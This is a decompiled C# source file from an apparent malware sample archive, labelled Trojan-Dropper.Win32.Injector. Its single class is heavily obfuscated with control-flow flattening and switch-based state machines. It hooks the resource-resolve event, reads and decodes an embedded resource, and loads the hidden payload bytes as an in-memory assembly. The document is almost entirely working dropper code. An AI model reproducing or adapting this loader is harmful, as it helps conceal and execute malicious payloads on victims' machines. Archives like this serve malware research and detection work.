MalwareSourceCode/MSIL/Trojan-Dropper/Win32/I/Trojan-Dropper.Win32.Injector.bohb-8459fa9a1d18ad0edf27e23258c967c9e734b43e94385e7834ac8244fbf1249c/.cs

499 lines
13 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Msil, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 592E0705-5FE3-456B-BE3B-BDC64BF0EA12
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.Win32.Injector.bohb-8459fa9a1d18ad0edf27e23258c967c9e734b43e94385e7834ac8244fbf1249c.exe
using System;
using System.IO;
using System.Reflection;
using System.Threading;
internal sealed class \uE008
{
private static Assembly \uE000;
private static object \uE001 = new object();
private static int \uE002;
private static string[] \uE003;
public static void \uE000()
{
if ((\uE008.\uE002 == 0 ? 0 : 1) != 0)
return;
try
{
Monitor.Enter(\uE008.\uE001);
if ((\uE008.\uE002 == 0 ? 0 : 1) != 0)
return;
label_19:
int num1 = -226195680;
int num2 = -561798657;
label_3:
while (true)
{
num2 ^= 555203725;
label_11:
int num3 = 968784119;
int num4 = -376123481;
label_5:
while (true)
{
num4 ^= 370221929;
label_7:
int num5 = 169643759;
while (true)
{
switch (num5 ^ 170977803)
{
case 2909411:
label_8:
num4 = -376123484;
num5 = 169643758;
continue;
case 2909412:
switch (num4 + 8000308)
{
case 0:
goto label_11;
case 1:
switch (num3)
{
case 1949493:
label_14:
num2 = -561798659;
num3 = 968784118;
goto label_4;
case 1949494:
switch (num2 + 7070352)
{
case 0:
switch (num1 + 5290868)
{
case 0:
AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\uE008.\uE001);
num1 = -226195679;
goto label_2;
case 1:
goto label_22;
default:
goto label_18;
}
case 1:
goto label_19;
case 2:
label_2:
num1 ^= 220971948;
goto label_14;
default:
num3 = 968784116;
goto label_4;
}
case 1949495:
goto label_3;
default:
goto label_13;
}
case 2:
label_4:
num3 ^= 967034817;
goto label_8;
default:
num5 = 169643752;
continue;
}
case 2909413:
goto label_5;
default:
goto label_7;
}
}
label_13:
num4 = -376123483;
}
label_18:
num2 = -561798660;
}
label_22:
\uE008.\uE002 = 1;
}
finally
{
Monitor.Exit(\uE008.\uE001);
}
}
public static string \uE000 => "4d63cfa9e78e1502";
public static Assembly \uE001(object _param0, ResolveEventArgs _param1)
{
if ((\uE008.\uE003 == null ? 0 : 1) == 0)
{
try
{
Monitor.Enter(\uE008.\uE001);
if ((\uE008.\uE003 == null ? 0 : 1) == 0)
{
label_15:
int num1 = 1319863694;
int num2 = -1247360233;
label_3:
Stream manifestResourceStream;
while (true)
{
num2 ^= 1242423639;
label_7:
int num3 = 1536961512;
int num4 = -942752411;
while (true)
{
switch ((num4 ^ 946906395) + 4319108)
{
case 0:
goto label_7;
case 1:
switch (num3)
{
case 2222797:
label_10:
num2 = -1247360152;
num3 = 1536961513;
goto label_4;
case 2222798:
switch (num2 + 5559746)
{
case 0:
goto label_15;
case 1:
switch (num1)
{
case 3571212:
manifestResourceStream = typeof (\uE008).Assembly.GetManifestResourceStream(\uE008.\uE000);
num1 = 1319863695;
goto label_2;
case 3571213:
if (manifestResourceStream != null)
{
num1 = 1319863692;
goto label_2;
}
else
goto label_22;
case 3571214:
goto label_21;
default:
goto label_17;
}
case 2:
label_2:
num1 ^= 1318976386;
goto label_10;
default:
label_13:
int num5 = 357788384;
while (true)
{
switch (num5 ^ 357216823)
{
case 1693911:
num3 = 1536961515;
num5 = 357788399;
continue;
case 1693912:
goto label_4;
default:
goto label_13;
}
}
}
case 2222799:
goto label_3;
default:
num4 = -942752409;
continue;
}
case 2:
label_4:
num3 ^= 1539162406;
break;
}
num4 = -942752410;
}
label_17:
num2 = -1247360151;
}
label_21:
int num6 = 0;
goto label_23;
label_22:
num6 = 1;
label_23:
if (num6 == 0)
\uE008.\uE000 = \uE008.\uE002(manifestResourceStream);
}
}
finally
{
Monitor.Exit(\uE008.\uE001);
}
}
return (!\uE008.\uE003(_param1.Name) ? 1 : 0) == 0 ? \uE008.\uE000 : (Assembly) null;
}
private static Assembly \uE002(Stream _param0)
{
MemoryStream input = \uE010.\uE000(_param0);
BinaryReader binaryReader = new BinaryReader((Stream) input);
label_2:
int num1 = -976949257;
int length;
int index;
string[] strArray;
while (true)
{
switch ((num1 ^ 979141528) + 6787986)
{
case 0:
strArray = new string[length];
num1 = -976949272;
continue;
case 1:
length = binaryReader.ReadInt32();
num1 = -976949258;
continue;
case 2:
index = 0;
num1 = -976949271;
continue;
case 3:
if (index != 0)
{
num1 = -976949270;
continue;
}
goto label_9;
case 4:
goto label_8;
default:
goto label_2;
}
}
label_8:
int num2 = 0;
goto label_10;
label_9:
num2 = 1;
label_10:
if (num2 != 0)
goto label_12;
label_11:
strArray[index] = binaryReader.ReadString();
++index;
label_12:
if ((index >= length ? 0 : 1) == 0)
{
\uE008.\uE003 = strArray;
label_25:
int num3 = -143477510;
int num4 = -1430655755;
label_15:
byte[] numArray;
while (true)
{
num4 ^= 1426872453;
label_19:
int num5 = -80790779;
int num6 = -1051659499;
while (true)
{
switch ((num6 ^ 1053901982) + 8276087)
{
case 0:
goto label_19;
case 1:
switch (num5 + 7895701)
{
case 0:
label_22:
num4 = -1430655766;
num5 = -80790780;
goto label_16;
case 1:
switch (num4 + 4869010)
{
case 0:
goto label_25;
case 1:
int count;
switch (num3 + 4299732)
{
case 0:
numArray = new byte[count];
num3 = -143477511;
goto label_14;
case 1:
binaryReader.Read(numArray, 0, count);
num3 = -143477509;
goto label_14;
case 2:
count = (int) (input.Length - input.Position);
num3 = -143477512;
goto label_14;
case 3:
goto label_31;
default:
goto label_27;
}
case 2:
label_14:
num3 ^= 147640532;
goto label_22;
default:
num5 = -80790782;
goto label_16;
}
case 2:
goto label_15;
default:
num6 = -1051659497;
continue;
}
case 2:
label_16:
num5 ^= 78167657;
break;
}
num6 = -1051659500;
}
label_27:
num4 = -1430655765;
}
label_31:
return Assembly.Load(numArray);
}
goto label_11;
}
private static bool \uE003(string _param0)
{
if ((\uE008.\uE003 == null ? 1 : 0) == 0)
{
label_6:
int num1 = 1477415917;
int num2 = 601725783;
int index;
string[] strArray;
while (true)
{
switch (num2 ^ 602759493)
{
case 3209744:
switch (num1)
{
case 3757452:
if (index != 0)
{
num1 = 1477415916;
goto label_1;
}
else
goto label_12;
case 3757453:
index = 0;
num1 = 1477415919;
goto label_1;
case 3757454:
strArray = \uE008.\uE003;
num1 = 1477415918;
goto label_1;
case 3757455:
goto label_11;
default:
num2 = 601725780;
continue;
}
case 3209745:
goto label_6;
case 3209746:
label_1:
num1 ^= 1479984739;
break;
}
num2 = 601725781;
}
label_11:
int num3 = 0;
goto label_13;
label_12:
num3 = 1;
label_13:
if (num3 != 0)
goto label_27;
label_14:
string str = strArray[index];
if ((!_param0.Equals(str) ? 1 : 0) == 0)
{
label_22:
int num4 = -311275153;
int num5 = 878119074;
label_16:
bool flag;
while (true)
{
num5 ^= 880632524;
label_18:
int num6 = -433645422;
while (true)
{
switch ((num6 ^ 431101690) + 7008665)
{
case 0:
label_19:
num5 = 878119073;
num6 = -433645421;
continue;
case 1:
switch (num5)
{
case 2779756:
goto label_22;
case 2779757:
switch (num4 + 4671099)
{
case 0:
flag = true;
num4 = -311275156;
goto label_15;
case 1:
goto label_29;
default:
goto label_24;
}
case 2779758:
label_15:
num4 ^= 315287786;
goto label_19;
default:
num6 = -433645411;
continue;
}
case 2:
goto label_16;
default:
goto label_18;
}
}
label_24:
num5 = 878119072;
}
label_29:
return flag;
}
++index;
label_27:
if ((index >= strArray.Length ? 0 : 1) != 0)
goto label_14;
}
return false;
}
}